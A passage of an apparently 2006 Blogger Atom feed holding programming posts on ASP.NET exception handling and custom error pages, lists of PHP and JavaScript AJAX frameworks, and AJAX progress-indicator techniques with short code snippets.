/&gt;}&lt;br /&gt;finally&lt;br /&gt;{&lt;br /&gt;   con.Dispose();&lt;br /&gt;}&lt;br /&gt;return "Connection Successful";&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;h4 align="left"&gt;Using Error Events&lt;/h4&gt;&lt;br /&gt;&lt;p align="left"&gt;There are three different error events in ASP.NET that can be used in conjunction with SEH so that all exceptions are handled and the user is presented with a user-friendly error message. &lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;&lt;font color="#ff8000"&gt;Page_Error&lt;/font&gt;&lt;/tt&gt;: Occurs when an error occurs within the Web page. This event is in the Web form.&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;&lt;font color="#ff8000"&gt;Global_Error&lt;/font&gt;&lt;/tt&gt;: Occurs when an error occurs within the application. This event is in the Gloabl.asax file.&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;&lt;font color="#ff8000"&gt;Application_Error&lt;/font&gt;&lt;/tt&gt;: Occurs when an error occurs within the application. This event is in the Gloabl.asax file.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p align="left"&gt;Methods in the Server object are used to handle the exception in the error events. &lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;&lt;font color="#ff8000"&gt;GetLastError&lt;/font&gt;&lt;/tt&gt;: Gets the last exception that occurred on the server.&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;&lt;font color="#ff8000"&gt;ClearError&lt;/font&gt;&lt;/tt&gt;: Use this method to handle the exception and stop the error to trigger the subsequent error event or display the error to the user.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p align="left"&gt;In the following code, you handle the exception in all the above three mentioned events but call the &lt;tt&gt;ClearError&lt;/tt&gt; method only in the &lt;tt&gt;Application_Error&lt;/tt&gt; event so that the error is propogated to the above level. &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;private&lt;/font&gt;&lt;font color="#ff8000"&gt; void Page_Error(object sender, System.EventArgs e)&lt;br /&gt;{&lt;br /&gt;   Exception ex = Server.GetLastError();&lt;br /&gt;   Response.Write("Handled error from Page&amp;lt;br&amp;gt;");&lt;br /&gt;   //Server.ClearError();&lt;br /&gt;}&lt;br /&gt;protected void Application_Error(Object sender, EventArgs e)&lt;br /&gt;{&lt;br /&gt;   Exception ex = Server.GetLastError();&lt;br /&gt;   Response.Write("Handled error from Application &amp;lt;br&amp;gt;");&lt;br /&gt;   Server.ClearError();&lt;br /&gt;}&lt;br /&gt;protected void Global_Error(Object sender, EventArgs e)&lt;br /&gt;{&lt;br /&gt;   Exception ex = Server.GetLastError();&lt;br /&gt;   Response.Write("Handled error from Global &amp;lt;br&amp;gt;");&lt;br /&gt;}&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;h4 align="left"&gt;Using Custom Error Pages&lt;/h4&gt;&lt;br /&gt;&lt;p align="left"&gt;Use custom error page to handle HTTP exceptions such as page not found, unauthorized access, and so forth. You can specify custom error pages in two places: &lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;customErrors&lt;/tt&gt; section of the web.config file. This setting specifies the application-wide error page to display for unhandled HTTP errors. HTTP errors are identified by the HTTP status code. Include the &amp;lt;error&amp;gt; tag in the &lt;tt&gt;customErrors&lt;/tt&gt; to display a status code-specific error page. Does not work with .htm or .html files. Set the &lt;tt&gt;mode&lt;/tt&gt; attribute to "On" to view the error page locally.&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;tt&gt;errorPage&lt;/tt&gt; attribute of the &lt;tt&gt;@Page&lt;/tt&gt; directive of the Web form to display the error page for the error generated on the particular Web form.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p align="left"&gt;The &lt;tt&gt;customsError&lt;/tt&gt; section in the web.config file specifies the application to redirect to Error404.aspx file if a non-existent file is requested. &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;&amp;lt;customErrors mode="On" defaultRedirect="Error.aspx"&amp;gt;&lt;br /&gt;   &amp;lt;error statusCode="404" redirect="Error404.aspx" /&amp;gt;&lt;br /&gt;&amp;lt;/customErrors&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;The &lt;tt&gt;@Page&lt;/tt&gt; directive specifies the error page to be redirected to if an error occurs in the Web page. &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;&amp;lt;%@ Page language="c#" Codebehind="PageErr.aspx.cs"&lt;br /&gt;         AutoEventWireup="false"&lt;br /&gt;         Inherits="ExceptionHandling.PageErr"&lt;br /&gt;         errorPage="Error.aspx" %&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;Get more information from &lt;a href="http://www.codeguru.com/csharp/.net/net_asp/miscellaneous/article.php/c12385/" target="_blank" rel="nofollow"&gt;this article&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;Tags: &lt;a href="http://technorati.com/tag/exception+handling"&gt;exception handling&lt;/a&gt;, &lt;a href="http://technorati.com/tag/asp.net"&gt;asp.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/try+catch"&gt;try catch&lt;/a&gt;, &lt;a href="http://technorati.com/tag/error+events"&gt;error events&lt;/a&gt;, &lt;a href="http://technorati.com/tag/custom+error+page"&gt;custom error page&lt;/a&gt;, &lt;a href="http://technorati.com/tag/visual+studio+.net"&gt;visual studio .net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/finally"&gt;finally&lt;/a&gt;, &lt;a href="http://technorati.com/tag/handling+exceptions"&gt;handling exceptions&lt;/a&gt;, &lt;a href="http://technorati.com/tag/page+error"&gt;page error&lt;/a&gt;, &lt;a href="http://technorati.com/tag/global+error"&gt;global error&lt;/a&gt;, &lt;a href="http://technorati.com/tag/application+error"&gt;application error&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115855900650328889?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115855900650328889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115855900650328889' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115855900650328889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115855900650328889'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/handling-exceptions-and-errors-in.html' title='Handling Exceptions and errors in ASP.NET'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831297303360735</id><published>2006-09-15T15:06:00.000+05:30</published><updated>2006-09-15T15:06:13.040+05:30</updated><title type='text'>PHP AJAX Frameworks</title><content type='html'>&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#AJASON_.28added_November_2005.29"&gt;1 AJASON (added November 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#AjaxAC_.28From_April.2C_2005.29"&gt;2 AjaxAC (From April, 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Ajax_Agent_.28From_February.2C_2006.29"&gt;3 Ajax Agent (From February, 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Cajax_.28added_December_2005.29"&gt;4 Cajax (added December 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#DutchPIPE_-_Avatar_worlds_on_websites"&gt;5 DutchPIPE - Avatar worlds on websites&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#HTS_Web_Application_Framework"&gt;6 HTS Web Application Framework&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#JPSpan"&gt;7 JPSpan&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#My-BIC"&gt;8 My-BIC&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#HTML_AJAX_PEAR_Package"&gt;9 HTML_AJAX PEAR Package&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#NanoAjax_.28added_July_2006.29"&gt;10 NanoAjax (added July 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Pipeline"&gt;11 Pipeline&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Qcodo_.28added_April_2006.29"&gt;12 Qcodo (added April 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Stratos_PHP_Framework"&gt;13 Stratos PHP Framework&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Symfony"&gt;14 Symfony&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#XAJAX"&gt;15 XAJAX&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#XOAD_.28formerly_NAJAX.29"&gt;16 XOAD (formerly NAJAX)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#phpAjaxTags"&gt;17 phpAjaxTags&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Guava"&gt;18 Guava&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#PAJAX_-_Remote_.28a.29synchronous_PHP_objects_in_JavaScript"&gt;19 PAJAX - Remote (a)synchronous PHP objects in JavaScript&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#PAJAJ_-_PHP_Asynchronous_Javascript_and_JSON"&gt;20 PAJAJ - PHP Asynchronous Javascript and JSON&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Flexible_Ajax_Framework"&gt;21 Flexible Ajax Framework&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#TinyAjax"&gt;22 TinyAjax&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Claw"&gt;23 Claw&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Zephyr"&gt;24 Zephyr&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#SimpleJax"&gt;25 SimpleJax&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#PHPWebBuilder"&gt;26 PHPWebBuilder&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks#Novulo_.28added_August_2006.29"&gt;27 Novulo (added August 2006)&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/PHP_Ajax_Frameworks" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/php"&gt;php&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frameworks"&gt;frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/php+ajax+frameworks"&gt;php ajax frameworks&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831297303360735?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831297303360735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831297303360735' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831297303360735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831297303360735'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/php-ajax-frameworks.html' title='PHP AJAX Frameworks'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831288718534242</id><published>2006-09-15T15:04:00.000+05:30</published><updated>2006-09-15T15:04:47.190+05:30</updated><title type='text'>Javascript Remoting Frameworks</title><content type='html'>&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#uniAjax_.28from_July_2006.29"&gt;1 uniAjax (from July 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#AjaxCaller_.28from_May_2005.29"&gt;2 AjaxCaller (from May 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#AjaxGear_.28from_November_2005.29"&gt;3 AjaxGear (from November 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#Ajax_Client_Engine_.28From_December_2005.29"&gt;4 Ajax Client Engine (From December 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#Ajax_Toolbox"&gt;5 Ajax Toolbox&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#AJFORM_.28Since_June_2005.29"&gt;6 AJFORM (Since June 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#HTMLHttpRequest_.28Beta.3B_from_2005.29"&gt;7 HTMLHttpRequest (Beta; from 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#Javeline_TelePort_.28evolved_from_vcXMLRPC.2C_from_Aug_2000.29"&gt;8 Javeline TelePort (evolved from vcXMLRPC, from Aug 2000)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#JSMX_.28from_Aug_2005.29"&gt;9 JSMX (from Aug 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#LibXMLHttpRequest_.28Released.3B_June_2003.29"&gt;10 LibXMLHttpRequest (Released; June 2003)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#MAJAX_.28Released.3B_August_2005.29"&gt;11 MAJAX (Released; August 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#RSLite_.28x.29"&gt;12 RSLite (x)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#Sack_.28from_May_2005.29"&gt;13 Sack (from May 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#Subsys_JsHttpRequest"&gt;14 Subsys_JsHttpRequest&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#vcXMLRPC_.28Released_Aug_2000.29"&gt;15 vcXMLRPC (Released Aug 2000)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks#XHConn_.28Released.3B_from_April.2C_2005.29"&gt;16 XHConn (Released; from April, 2005)&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Javascript_Remoting_Frameworks" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/remoting+frameworks"&gt;remoting frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+frameworks"&gt;javascript frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frameworks"&gt;frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/toolbox"&gt;toolbox&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831288718534242?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831288718534242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831288718534242' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831288718534242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831288718534242'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/javascript-remoting-frameworks.html' title='Javascript Remoting Frameworks'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831243698247066</id><published>2006-09-15T14:57:00.000+05:30</published><updated>2006-09-15T14:57:16.986+05:30</updated><title type='text'>Show Progress Indicator Sample Example</title><content type='html'>&lt;p align="left"&gt;&lt;a href="http://ajaxify.com/run/sum/progress"&gt;This demo&lt;/a&gt; introduces a progress display to the &lt;a href="http://ajaxify.com/run/sum/progress"&gt;Basic Sum Demo&lt;/a&gt;. It's a simple animated GIF that shows up while waiting for the sum to return.  &lt;p align="left"&gt;To the initial HTML, an &lt;tt&gt;Img&lt;/tt&gt; tag has been added to include the animation, initially hidden by the corresponding script.  &lt;div align="left"&gt;&lt;pre&gt;  &lt;font color="#ff8000"&gt;&amp;lt;img id="progress" src="progress.gif" /&amp;gt;&lt;br /&gt;&lt;br /&gt;  window.onload = function() {&lt;br /&gt;    $("progress").style.visibility = "hidden";&lt;br /&gt;    ...&lt;br /&gt;  }&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;Now all we have to do is show the animation upon submitting and hide it when the result is in. &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt; &lt;font color="#ff8000"&gt;function submitSum() {&lt;br /&gt;   $("progress").style.visibility = "visible";&lt;br /&gt;   ...&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; function onSumResponse(text, headers, callingContext) {&lt;br /&gt;   $("progress").style.visibility = "hidden";&lt;br /&gt;   ...&lt;br /&gt; }&lt;/font&gt;&lt;/pre&gt;&lt;pre&gt;Tags: &lt;a href="http://technorati.com/tag/progress+indicator+example"&gt;progress indicator example&lt;/a&gt;, &lt;a href="http://technorati.com/tag/simple+example"&gt;simple example&lt;/a&gt;, &lt;a href="http://technorati.com/tag/html"&gt;html&lt;/a&gt;, &lt;a href="http://technorati.com/tag/animation"&gt;animation&lt;/a&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831243698247066?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831243698247066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831243698247066' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831243698247066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831243698247066'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/show-progress-indicator-sample-example.html' title='Show Progress Indicator Sample Example'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831222374654601</id><published>2006-09-15T14:53:00.000+05:30</published><updated>2006-09-15T14:53:43.753+05:30</updated><title type='text'>Calculate propotion of task that's complete in AJAX Progress Indicator</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;For longer delays, you need to help the user understand how much has been achieved so far, typically using a progress meter that shows percent complete. Sometimes, a long delay can come from a single &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Call&lt;/a&gt;, because although the network transfer may be quick, the back-end processing might not be. For example, the call might trigger a major database operation.  &lt;p align="left"&gt;You probably won't get any useful information about its progress by monitoring the &lt;tt&gt;responseText&lt;/tt&gt; component. The &lt;tt&gt;responseText&lt;/tt&gt; tends not to populate in a linear fashion, for two reasons. Firstly, there are usually back-end calculations involved, during which no output can occur. Thus, output tends to happen in bursts, or all at the end. Secondly, the output is often compressed using the standard HTTP content encoding facility, and the compression algorithm will force data to be outputted in bursts. The &lt;tt&gt;XMLHttpRequest&lt;/tt&gt;'s &lt;tt&gt;readyState&lt;/tt&gt; also won't tell you very much. For reasons described in &lt;a href="http://ajaxpatterns.org/Call_Tracking"&gt;Call Tracking&lt;/a&gt;, you can only rely on states 0 and 4, and maybe 1.  &lt;p align="left"&gt;So if you can't monitor the progress of an XMLHttpRequest Call, how can you help the user understand how much progress has been made? One thing you can do is &lt;a href="http://ajaxpatterns.org/Guesstimate"&gt;Guesstimate&lt;/a&gt;: predict the total time, and start running a timer to monitor how long since the call began. The prediction of total duration need not be hard-coded every time; you could have the application track download times and reflect them in the estimates next time round. It's possible the actual time will exceed your estimate, and you wouldn't want to show a progress of 120% while the download's still in progress. You also don't want to suddenly drop the progress percentage by increasing the time estimate. So you need to treat the 100% figure as asymptotic - always approaching it, but never getting there. The details are beyond the scope of this pattern, but what you need is a formula which transforms time so far into a value that starts at 0 and approaches 100. An additional constraint is that it must fit with your estimate, so you might perhaps ensure your estimate is reached at the 80% point, allowing room for the progress meter to grow past it if the transfer takes longer. One last thing: no matter what the figure ends up at, be sure to drive it up to 100% at the end, to maintain the illusion that this is a real progress meter.  &lt;p align="left"&gt;Another way to deal with long &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Calls&lt;/a&gt; is to explicitly introduce a second monitoring channel. While the primary request takes place, a sequence of monitoring requests are issued to ask the server for a progress estimates. For example, the server might be looping through 1000 records, running a transformation on each of those and saving it to the database. The loop variable can be exposed so that a monitoring service can convert it into a percentage remaining figure.  &lt;p align="left"&gt;Not all Progress Indicators concern a single &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Call&lt;/a&gt;. Indeed, those requiring a progress meter are longer processes, likely incorporating several &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Calls&lt;/a&gt;. There, you do have much better scope for real-time progress monitoring - each time a call returns, further progress has occurred. In a simple model, you can show progress is 50% complete when 2 of 4 calls have returned.  &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Progress_Indicator" target="_blank"&gt;this link&lt;/a&gt; for more information &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/progress+indicator"&gt;progress indicator&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+applications"&gt;ajax applications&lt;/a&gt;, &lt;a href="http://technorati.com/tag/xmlhttprequest"&gt;xmlhttprequest&lt;/a&gt;, &lt;a href="http://technorati.com/tag/http+request"&gt;http request&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831222374654601?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831222374654601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831222374654601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831222374654601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831222374654601'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/calculate-propotion-of-task-thats.html' title='Calculate propotion of task that&apos;s complete in AJAX Progress Indicator'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831210574313750</id><published>2006-09-15T14:51:00.000+05:30</published><updated>2006-09-15T14:51:45.746+05:30</updated><title type='text'>AJAX Progress Indicator for server responses</title><content type='html'>&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Ajaxian applications often make &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Calls&lt;/a&gt; to query and update the server. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Unlike standard page reloading, the browser doesn't make it obvious that an &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Call&lt;/a&gt; is occurring. There usually won't be any information in the status area and the 